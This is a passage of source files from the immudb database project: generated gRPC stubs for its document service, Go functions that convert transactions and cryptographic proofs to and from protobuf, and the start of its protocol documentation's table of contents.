"/immudb.model.DocumentService/DeleteCollection", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *documentServiceClient) AddField(ctx context.Context, in *AddFieldRequest, opts ...grpc.CallOption) (*AddFieldResponse, error) { out := new(AddFieldResponse) err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/AddField", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *documentServiceClient) RemoveField(ctx context.Context, in *RemoveFieldRequest, opts ...grpc.CallOption) (*RemoveFieldResponse, error) { out := new(RemoveFieldResponse) err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/RemoveField", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *documentServiceClient) CreateIndex(ctx context.Context, in *CreateIndexRequest, opts ...grpc.CallOption) (*CreateIndexResponse, error) { out := new(CreateIndexResponse) err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/CreateIndex", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *documentServiceClient) DeleteIndex(ctx context.Context, in *DeleteIndexRequest, opts ...grpc.CallOption) (*DeleteIndexResponse, error) { out := new(DeleteIndexResponse) err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/DeleteIndex", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *documentServiceClient) InsertDocuments(ctx context.Context, in *InsertDocumentsRequest, opts ...grpc.CallOption) (*InsertDocumentsResponse, error) { out := new(InsertDocumentsResponse) err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/InsertDocuments", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *documentServiceClient) ReplaceDocuments(ctx context.Context, in *ReplaceDocumentsRequest, opts ...grpc.CallOption) (*ReplaceDocumentsResponse, error) { out := new(ReplaceDocumentsResponse) err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/ReplaceDocuments", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *documentServiceClient) DeleteDocuments(ctx context.Context, in *DeleteDocumentsRequest, opts ...grpc.CallOption) (*DeleteDocumentsResponse, error) { out := new(DeleteDocumentsResponse) err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/DeleteDocuments", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *documentServiceClient) SearchDocuments(ctx context.Context, in *SearchDocumentsRequest, opts ...grpc.CallOption) (*SearchDocumentsResponse, error) { out := new(SearchDocumentsResponse) err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/SearchDocuments", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *documentServiceClient) CountDocuments(ctx context.Context, in *CountDocumentsRequest, opts ...grpc.CallOption) (*CountDocumentsResponse, error) { out := new(CountDocumentsResponse) err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/CountDocuments", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *documentServiceClient) AuditDocument(ctx context.Context, in *AuditDocumentRequest, opts ...grpc.CallOption) (*AuditDocumentResponse, error) { out := new(AuditDocumentResponse) err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/AuditDocument", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *documentServiceClient) ProofDocument(ctx context.Context, in *ProofDocumentRequest, opts ...grpc.CallOption) (*ProofDocumentResponse, error) { out := new(ProofDocumentResponse) err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/ProofDocument", in, out, opts...) if err != nil { return nil, err } return out, nil } // DocumentServiceServer is the server API for DocumentService service. // All implementations should embed UnimplementedDocumentServiceServer // for forward compatibility type DocumentServiceServer interface { CreateCollection(context.Context, *CreateCollectionRequest) (*CreateCollectionResponse, error) GetCollections(context.Context, *GetCollectionsRequest) (*GetCollectionsResponse, error) GetCollection(context.Context, *GetCollectionRequest) (*GetCollectionResponse, error) UpdateCollection(context.Context, *UpdateCollectionRequest) (*UpdateCollectionResponse, error) DeleteCollection(context.Context, *DeleteCollectionRequest) (*DeleteCollectionResponse, error) AddField(context.Context, *AddFieldRequest) (*AddFieldResponse, error) RemoveField(context.Context, *RemoveFieldRequest) (*RemoveFieldResponse, error) CreateIndex(context.Context, *CreateIndexRequest) (*CreateIndexResponse, error) DeleteIndex(context.Context, *DeleteIndexRequest) (*DeleteIndexResponse, error) InsertDocuments(context.Context, *InsertDocumentsRequest) (*InsertDocumentsResponse, error) ReplaceDocuments(context.Context, *ReplaceDocumentsRequest) (*ReplaceDocumentsResponse, error) DeleteDocuments(context.Context, *DeleteDocumentsRequest) (*DeleteDocumentsResponse, error) SearchDocuments(context.Context, *SearchDocumentsRequest) (*SearchDocumentsResponse, error) CountDocuments(context.Context, *CountDocumentsRequest) (*CountDocumentsResponse, error) AuditDocument(context.Context, *AuditDocumentRequest) (*AuditDocumentResponse, error) ProofDocument(context.Context, *ProofDocumentRequest) (*ProofDocumentResponse, error) } // UnimplementedDocumentServiceServer should be embedded to have forward compatible implementations. type UnimplementedDocumentServiceServer struct { } func (UnimplementedDocumentServiceServer) CreateCollection(context.Context, *CreateCollectionRequest) (*CreateCollectionResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method CreateCollection not implemented") } func (UnimplementedDocumentServiceServer) GetCollections(context.Context, *GetCollectionsRequest) (*GetCollectionsResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method GetCollections not implemented") } func (UnimplementedDocumentServiceServer) GetCollection(context.Context, *GetCollectionRequest) (*GetCollectionResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method GetCollection not implemented") } func (UnimplementedDocumentServiceServer) UpdateCollection(context.Context, *UpdateCollectionRequest) (*UpdateCollectionResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method UpdateCollection not implemented") } func (UnimplementedDocumentServiceServer) DeleteCollection(context.Context, *DeleteCollectionRequest) (*DeleteCollectionResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method DeleteCollection not implemented") } func (UnimplementedDocumentServiceServer) AddField(context.Context, *AddFieldRequest) (*AddFieldResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method AddField not implemented") } func (UnimplementedDocumentServiceServer) RemoveField(context.Context, *RemoveFieldRequest) (*RemoveFieldResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method RemoveField not implemented") } func (UnimplementedDocumentServiceServer) CreateIndex(context.Context, *CreateIndexRequest) (*CreateIndexResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method CreateIndex not implemented") } func (UnimplementedDocumentServiceServer) DeleteIndex(context.Context, *DeleteIndexRequest) (*DeleteIndexResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method DeleteIndex not implemented") } func (UnimplementedDocumentServiceServer) InsertDocuments(context.Context, *InsertDocumentsRequest) (*InsertDocumentsResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method InsertDocuments not implemented") } func (UnimplementedDocumentServiceServer) ReplaceDocuments(context.Context, *ReplaceDocumentsRequest) (*ReplaceDocumentsResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method ReplaceDocuments not implemented") } func (UnimplementedDocumentServiceServer) DeleteDocuments(context.Context, *DeleteDocumentsRequest) (*DeleteDocumentsResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method DeleteDocuments not implemented") } func (UnimplementedDocumentServiceServer) SearchDocuments(context.Context, *SearchDocumentsRequest) (*SearchDocumentsResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method SearchDocuments not implemented") } func (UnimplementedDocumentServiceServer) CountDocuments(context.Context, *CountDocumentsRequest) (*CountDocumentsResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method CountDocuments not implemented") } func (UnimplementedDocumentServiceServer) AuditDocument(context.Context, *AuditDocumentRequest) (*AuditDocumentResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method AuditDocument not implemented") } func (UnimplementedDocumentServiceServer) ProofDocument(context.Context, *ProofDocumentRequest) (*ProofDocumentResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method ProofDocument not implemented") } // UnsafeDocumentServiceServer may be embedded to opt out of forward compatibility for this service. // Use of this interface is not recommended, as added methods to DocumentServiceServer will // result in compilation errors. type UnsafeDocumentServiceServer interface { mustEmbedUnimplementedDocumentServiceServer() } func RegisterDocumentServiceServer(s grpc.ServiceRegistrar, srv DocumentServiceServer) { s.RegisterService(&DocumentService_ServiceDesc, srv) } func _DocumentService_CreateCollection_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(CreateCollectionRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(DocumentServiceServer).CreateCollection(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.model.DocumentService/CreateCollection", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(DocumentServiceServer).CreateCollection(ctx, req.(*CreateCollectionRequest)) } return interceptor(ctx, in, info, handler) } func _DocumentService_GetCollections_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(GetCollectionsRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(DocumentServiceServer).GetCollections(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.model.DocumentService/GetCollections", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(DocumentServiceServer).GetCollections(ctx, req.(*GetCollectionsRequest)) } return interceptor(ctx, in, info, handler) } func _DocumentService_GetCollection_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(GetCollectionRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(DocumentServiceServer).GetCollection(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.model.DocumentService/GetCollection", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(DocumentServiceServer).GetCollection(ctx, req.(*GetCollectionRequest)) } return interceptor(ctx, in, info, handler) } func _DocumentService_UpdateCollection_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(UpdateCollectionRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(DocumentServiceServer).UpdateCollection(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.model.DocumentService/UpdateCollection", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(DocumentServiceServer).UpdateCollection(ctx, req.(*UpdateCollectionRequest)) } return interceptor(ctx, in, info, handler) } func _DocumentService_DeleteCollection_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(DeleteCollectionRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(DocumentServiceServer).DeleteCollection(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.model.DocumentService/DeleteCollection", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(DocumentServiceServer).DeleteCollection(ctx, req.(*DeleteCollectionRequest)) } return interceptor(ctx, in, info, handler) } func _DocumentService_AddField_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(AddFieldRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(DocumentServiceServer).AddField(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.model.DocumentService/AddField", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(DocumentServiceServer).AddField(ctx, req.(*AddFieldRequest)) } return interceptor(ctx, in, info, handler) } func _DocumentService_RemoveField_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(RemoveFieldRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(DocumentServiceServer).RemoveField(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.model.DocumentService/RemoveField", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(DocumentServiceServer).RemoveField(ctx, req.(*RemoveFieldRequest)) } return interceptor(ctx, in, info, handler) } func _DocumentService_CreateIndex_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(CreateIndexRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(DocumentServiceServer).CreateIndex(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.model.DocumentService/CreateIndex", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(DocumentServiceServer).CreateIndex(ctx, req.(*CreateIndexRequest)) } return interceptor(ctx, in, info, handler) } func _DocumentService_DeleteIndex_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(DeleteIndexRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(DocumentServiceServer).DeleteIndex(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.model.DocumentService/DeleteIndex", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(DocumentServiceServer).DeleteIndex(ctx, req.(*DeleteIndexRequest)) } return interceptor(ctx, in, info, handler) } func _DocumentService_InsertDocuments_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(InsertDocumentsRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(DocumentServiceServer).InsertDocuments(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.model.DocumentService/InsertDocuments", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(DocumentServiceServer).InsertDocuments(ctx, req.(*InsertDocumentsRequest)) } return interceptor(ctx, in, info, handler) } func _DocumentService_ReplaceDocuments_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(ReplaceDocumentsRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(DocumentServiceServer).ReplaceDocuments(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.model.DocumentService/ReplaceDocuments", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(DocumentServiceServer).ReplaceDocuments(ctx, req.(*ReplaceDocumentsRequest)) } return interceptor(ctx, in, info, handler) } func _DocumentService_DeleteDocuments_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(DeleteDocumentsRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(DocumentServiceServer).DeleteDocuments(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.model.DocumentService/DeleteDocuments", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(DocumentServiceServer).DeleteDocuments(ctx, req.(*DeleteDocumentsRequest)) } return interceptor(ctx, in, info, handler) } func _DocumentService_SearchDocuments_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(SearchDocumentsRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(DocumentServiceServer).SearchDocuments(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.model.DocumentService/SearchDocuments", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(DocumentServiceServer).SearchDocuments(ctx, req.(*SearchDocumentsRequest)) } return interceptor(ctx, in, info, handler) } func _DocumentService_CountDocuments_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(CountDocumentsRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(DocumentServiceServer).CountDocuments(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.model.DocumentService/CountDocuments", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(DocumentServiceServer).CountDocuments(ctx, req.(*CountDocumentsRequest)) } return interceptor(ctx, in, info, handler) } func _DocumentService_AuditDocument_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(AuditDocumentRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(DocumentServiceServer).AuditDocument(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.model.DocumentService/AuditDocument", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(DocumentServiceServer).AuditDocument(ctx, req.(*AuditDocumentRequest)) } return interceptor(ctx, in, info, handler) } func _DocumentService_ProofDocument_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(ProofDocumentRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(DocumentServiceServer).ProofDocument(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.model.DocumentService/ProofDocument", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(DocumentServiceServer).ProofDocument(ctx, req.(*ProofDocumentRequest)) } return interceptor(ctx, in, info, handler) } // DocumentService_ServiceDesc is the grpc.ServiceDesc for DocumentService service. // It's only intended for direct use with grpc.RegisterService, // and not to be introspected or modified (even as a copy) var DocumentService_ServiceDesc = grpc.ServiceDesc{ ServiceName: "immudb.model.DocumentService", HandlerType: (*DocumentServiceServer)(nil), Methods: []grpc.MethodDesc{ { MethodName: "CreateCollection", Handler: _DocumentService_CreateCollection_Handler, }, { MethodName: "GetCollections", Handler: _DocumentService_GetCollections_Handler, }, { MethodName: "GetCollection", Handler: _DocumentService_GetCollection_Handler, }, { MethodName: "UpdateCollection", Handler: _DocumentService_UpdateCollection_Handler, }, { MethodName: "DeleteCollection", Handler: _DocumentService_DeleteCollection_Handler, }, { MethodName: "AddField", Handler: _DocumentService_AddField_Handler, }, { MethodName: "RemoveField", Handler: _DocumentService_RemoveField_Handler, }, { MethodName: "CreateIndex", Handler: _DocumentService_CreateIndex_Handler, }, { MethodName: "DeleteIndex", Handler: _DocumentService_DeleteIndex_Handler, }, { MethodName: "InsertDocuments", Handler: _DocumentService_InsertDocuments_Handler, }, { MethodName: "ReplaceDocuments", Handler: _DocumentService_ReplaceDocuments_Handler, }, { MethodName: "DeleteDocuments", Handler: _DocumentService_DeleteDocuments_Handler, }, { MethodName: "SearchDocuments", Handler: _DocumentService_SearchDocuments_Handler, }, { MethodName: "CountDocuments", Handler: _DocumentService_CountDocuments_Handler, }, { MethodName: "AuditDocument", Handler: _DocumentService_AuditDocument_Handler, }, { MethodName: "ProofDocument", Handler: _DocumentService_ProofDocument_Handler, }, }, Streams: []grpc.StreamDesc{}, Metadata: "documents.proto", } ================================================ FILE: pkg/api/schema/database_protoconv.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package schema import ( "crypto/sha256" "time" "github.com/codenotary/immudb/embedded/htree" "github.com/codenotary/immudb/embedded/store" ) func TxToProto(tx *store.Tx) *Tx { entries := make([]*TxEntry, len(tx.Entries())) for i, e := range tx.Entries() { entries[i] = TxEntryToProto(e) } return &Tx{ Header: TxHeaderToProto(tx.Header()), Entries: entries, } } func TxEntryToProto(e *store.TxEntry) *TxEntry { hValue := e.HVal() return &TxEntry{ Key: e.Key(), Metadata: KVMetadataToProto(e.Metadata()), HValue: hValue[:], VLen: int32(e.VLen()), } } func KVMetadataToProto(md *store.KVMetadata) *KVMetadata { if md == nil { return nil } kvmd := &KVMetadata{ Deleted: md.Deleted(), NonIndexable: md.NonIndexable(), } if md.IsExpirable() { expTime, _ := md.ExpirationTime() kvmd.Expiration = &Expiration{ExpiresAt: expTime.Unix()} } return kvmd } func TxFromProto(stx *Tx) *store.Tx { header := &store.TxHeader{} header.ID = stx.Header.Id header.Ts = stx.Header.Ts header.BlTxID = stx.Header.BlTxId header.BlRoot = DigestFromProto(stx.Header.BlRoot) header.PrevAlh = DigestFromProto(stx.Header.PrevAlh) header.Version = int(stx.Header.Version) header.Metadata = TxMetadataFromProto(stx.Header.Metadata) entries := make([]*store.TxEntry, len(stx.Entries)) header.NEntries = int(stx.Header.Nentries) header.Eh = DigestFromProto(stx.Header.EH) for i, e := range stx.Entries { entries[i] = store.NewTxEntry(e.Key, KVMetadataFromProto(e.Metadata), int(e.VLen), DigestFromProto(e.HValue), 0) } tx := store.NewTxWithEntries(header, entries) tx.BuildHashTree() return tx } func KVMetadataFromProto(md *KVMetadata) *store.KVMetadata { if md == nil { return nil } kvmd := store.NewKVMetadata() kvmd.AsDeleted(md.Deleted) if md.Expiration != nil { kvmd.ExpiresAt(time.Unix(md.Expiration.ExpiresAt, 0)) } kvmd.AsNonIndexable(md.NonIndexable) return kvmd } func InclusionProofToProto(iproof *htree.InclusionProof) *InclusionProof { return &InclusionProof{ Leaf: int32(iproof.Leaf), Width: int32(iproof.Width), Terms: DigestsToProto(iproof.Terms), } } func InclusionProofFromProto(iproof *InclusionProof) *htree.InclusionProof { return &htree.InclusionProof{ Leaf: int(iproof.Leaf), Width: int(iproof.Width), Terms: DigestsFromProto(iproof.Terms), } } func DualProofToProto(dualProof *store.DualProof) *DualProof { return &DualProof{ SourceTxHeader: TxHeaderToProto(dualProof.SourceTxHeader), TargetTxHeader: TxHeaderToProto(dualProof.TargetTxHeader), InclusionProof: DigestsToProto(dualProof.InclusionProof), ConsistencyProof: DigestsToProto(dualProof.ConsistencyProof), TargetBlTxAlh: dualProof.TargetBlTxAlh[:], LastInclusionProof: DigestsToProto(dualProof.LastInclusionProof), LinearProof: LinearProofToProto(dualProof.LinearProof), LinearAdvanceProof: LinearAdvanceProofToProto(dualProof.LinearAdvanceProof), } } func DualProofV2ToProto(dualProof *store.DualProofV2) *DualProofV2 { return &DualProofV2{ SourceTxHeader: TxHeaderToProto(dualProof.SourceTxHeader), TargetTxHeader: TxHeaderToProto(dualProof.TargetTxHeader), InclusionProof: DigestsToProto(dualProof.InclusionProof), ConsistencyProof: DigestsToProto(dualProof.ConsistencyProof), } } func TxHeaderToProto(hdr *store.TxHeader) *TxHeader { if hdr == nil { return nil } return &TxHeader{ Id: hdr.ID, PrevAlh: hdr.PrevAlh[:], Ts: hdr.Ts, Version: int32(hdr.Version), Metadata: TxMetadataToProto(hdr.Metadata), Nentries: int32(hdr.NEntries), EH: hdr.Eh[:], BlTxId: hdr.BlTxID, BlRoot: hdr.BlRoot[:], } } func TxMetadataToProto(md *store.TxMetadata) *TxMetadata { if md == nil { return nil } txmd := &TxMetadata{} if md.HasTruncatedTxID() { txID, _ := md.GetTruncatedTxID() txmd.TruncatedTxID = txID } txmd.Extra = md.Extra() return txmd } func LinearProofToProto(linearProof *store.LinearProof) *LinearProof { return &LinearProof{ SourceTxId: linearProof.SourceTxID, TargetTxId: linearProof.TargetTxID, Terms: DigestsToProto(linearProof.Terms), } } func LinearAdvanceProofToProto(proof *store.LinearAdvanceProof) *LinearAdvanceProof { if proof == nil { return nil } inclusionProofs := make([]*InclusionProof, len(proof.InclusionProofs)) for i, p := range proof.InclusionProofs { inclusionProofs[i] = &InclusionProof{ Terms: DigestsToProto(p), } } return &LinearAdvanceProof{ LinearProofTerms: DigestsToProto(proof.LinearProofTerms), InclusionProofs: inclusionProofs, } } func DualProofFromProto(dproof *DualProof) *store.DualProof { return &store.DualProof{ SourceTxHeader: TxHeaderFromProto(dproof.SourceTxHeader), TargetTxHeader: TxHeaderFromProto(dproof.TargetTxHeader), InclusionProof: DigestsFromProto(dproof.InclusionProof), ConsistencyProof: DigestsFromProto(dproof.ConsistencyProof), TargetBlTxAlh: DigestFromProto(dproof.TargetBlTxAlh), LastInclusionProof: DigestsFromProto(dproof.LastInclusionProof), LinearProof: LinearProofFromProto(dproof.LinearProof), LinearAdvanceProof: LinearAdvanceProofFromProto(dproof.LinearAdvanceProof), } } func DualProofV2FromProto(dproof *DualProofV2) *store.DualProofV2 { return &store.DualProofV2{ SourceTxHeader: TxHeaderFromProto(dproof.SourceTxHeader), TargetTxHeader: TxHeaderFromProto(dproof.TargetTxHeader), InclusionProof: DigestsFromProto(dproof.InclusionProof), ConsistencyProof: DigestsFromProto(dproof.ConsistencyProof), } } func TxHeaderFromProto(hdr *TxHeader) *store.TxHeader { return &store.TxHeader{ ID: hdr.Id, PrevAlh: DigestFromProto(hdr.PrevAlh), Ts: hdr.Ts, Version: int(hdr.Version), Metadata: TxMetadataFromProto(hdr.Metadata), NEntries: int(hdr.Nentries), Eh: DigestFromProto(hdr.EH), BlTxID: hdr.BlTxId, BlRoot: DigestFromProto(hdr.BlRoot), } } func TxMetadataFromProto(md *TxMetadata) *store.TxMetadata { if md == nil { return nil } txmd := store.NewTxMetadata() if md.TruncatedTxID > 0 { txmd.WithTruncatedTxID(md.TruncatedTxID) } txmd.WithExtra(md.Extra) return txmd } func LinearProofFromProto(lproof *LinearProof) *store.LinearProof { return &store.LinearProof{ SourceTxID: lproof.SourceTxId, TargetTxID: lproof.TargetTxId, Terms: DigestsFromProto(lproof.Terms), } } func LinearAdvanceProofFromProto(laproof *LinearAdvanceProof) *store.LinearAdvanceProof { if laproof == nil { return nil } inclusionProofs := make([][][sha256.Size]byte, len(laproof.InclusionProofs)) for i, proof := range laproof.InclusionProofs { inclusionProofs[i] = DigestsFromProto(proof.Terms) } return &store.LinearAdvanceProof{ LinearProofTerms: DigestsFromProto(laproof.LinearProofTerms), InclusionProofs: inclusionProofs, } } func DigestsToProto(terms [][sha256.Size]byte) [][]byte { slicedTerms := make([][]byte, len(terms)) for i, t := range terms { slicedTerms[i] = make([]byte, sha256.Size) copy(slicedTerms[i], t[:]) } return slicedTerms } func DigestFromProto(slicedDigest []byte) [sha256.Size]byte { var d [sha256.Size]byte copy(d[:], slicedDigest) return d } func DigestsFromProto(slicedTerms [][]byte) [][sha256.Size]byte { terms := make([][sha256.Size]byte, len(slicedTerms)) for i, t := range slicedTerms { copy(terms[i][:], t) } return terms } ================================================ FILE: pkg/api/schema/docs.md ================================================ # Protocol Documentation ## Table of Contents - [schema.proto](#schema.proto) - [AHTNullableSettings](#immudb.schema.AHTNullableSettings) - [AuthConfig](#immudb.schema.AuthConfig) - [ChangePasswordRequest](#immudb.schema.ChangePasswordRequest) - [ChangePermissionRequest](#immudb.schema.ChangePermissionRequest) - [ChangeSQLPrivilegesRequest](#immudb.schema.ChangeSQLPrivilegesRequest) - [ChangeSQLPrivilegesResponse](#immudb.schema.ChangeSQLPrivilegesResponse) - [Chunk](#immudb.schema.Chunk) - [Chunk.MetadataEntry](#immudb.schema.Chunk.MetadataEntry) - [Column](#immudb.schema.Column) - [CommittedSQLTx](#immudb.schema.CommittedSQLTx) - [CommittedSQLTx.FirstInsertedPKsEntry](#immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry) - [CommittedSQLTx.LastInsertedPKsEntry](#immudb.schema.CommittedSQLTx.LastInsertedPKsEntry) - [CreateDatabaseRequest](#immudb.schema.CreateDatabaseRequest) - [CreateDatabaseResponse](#immudb.schema.CreateDatabaseResponse) - [CreateUserRequest](#immudb.schema.CreateUserRequest) - [Database](#immudb.schema.Database) - [DatabaseHealthResponse](#immudb.schema.DatabaseHealthResponse) - [DatabaseInfo](#immudb.schema.DatabaseInfo) - [DatabaseListRequestV2](#immudb.schema.DatabaseListRequestV2) - [DatabaseListResponse](#immudb.schema.DatabaseListResponse) - [DatabaseListResponseV2](#immudb.schema.DatabaseListResponseV2) - [DatabaseNullableSettings](#immudb.schema.DatabaseNullableSettings) - [DatabaseSettings](#immudb.schema.DatabaseSettings) - [DatabaseSettingsRequest](#immudb.schema.DatabaseSettingsRequest) - [DatabaseSettingsResponse](#immudb.schema.DatabaseSettingsResponse) - [DebugInfo](#immudb.schema.DebugInfo) - [DeleteDatabaseRequest](#immudb.schema.DeleteDatabaseRequest) - [DeleteDatabaseResponse](#immudb.schema.DeleteDatabaseResponse) - [DeleteKeysRequest](#immudb.schema.DeleteKeysRequest) - [DualProof](#immudb.schema.DualProof) - [DualProofV2](#immudb.schema.DualProofV2) - [Entries](#immudb.schema.Entries) - [EntriesSpec](#immudb.schema.EntriesSpec) - [Entry](#immudb.schema.Entry) - [EntryCount](#immudb.schema.EntryCount) - [EntryTypeSpec](#immudb.schema.EntryTypeSpec) - [ErrorInfo](#immudb.schema.ErrorInfo) - [ExecAllRequest](#immudb.schema.ExecAllRequest) - [Expiration](#immudb.schema.Expiration) - [ExportTxRequest](#immudb.schema.ExportTxRequest) - [FlushIndexRequest](#immudb.schema.FlushIndexRequest) - [FlushIndexResponse](#immudb.schema.FlushIndexResponse) - [HealthResponse](#immudb.schema.HealthResponse) - [HistoryRequest](#immudb.schema.HistoryRequest) - [ImmutableState](#immudb.schema.ImmutableState) - [InclusionProof](#immudb.schema.InclusionProof) - [IndexNullableSettings](#immudb.schema.IndexNullableSettings) - [KVMetadata](#immudb.schema.KVMetadata) - [Key](#immudb.schema.Key) - [KeyListRequest](#immudb.schema.KeyListRequest) - [KeyPrefix](#immudb.schema.KeyPrefix) - [KeyRequest](#immudb.schema.KeyRequest) - [KeyValue](#immudb.schema.KeyValue) - [LinearAdvanceProof](#immudb.schema.LinearAdvanceProof) - 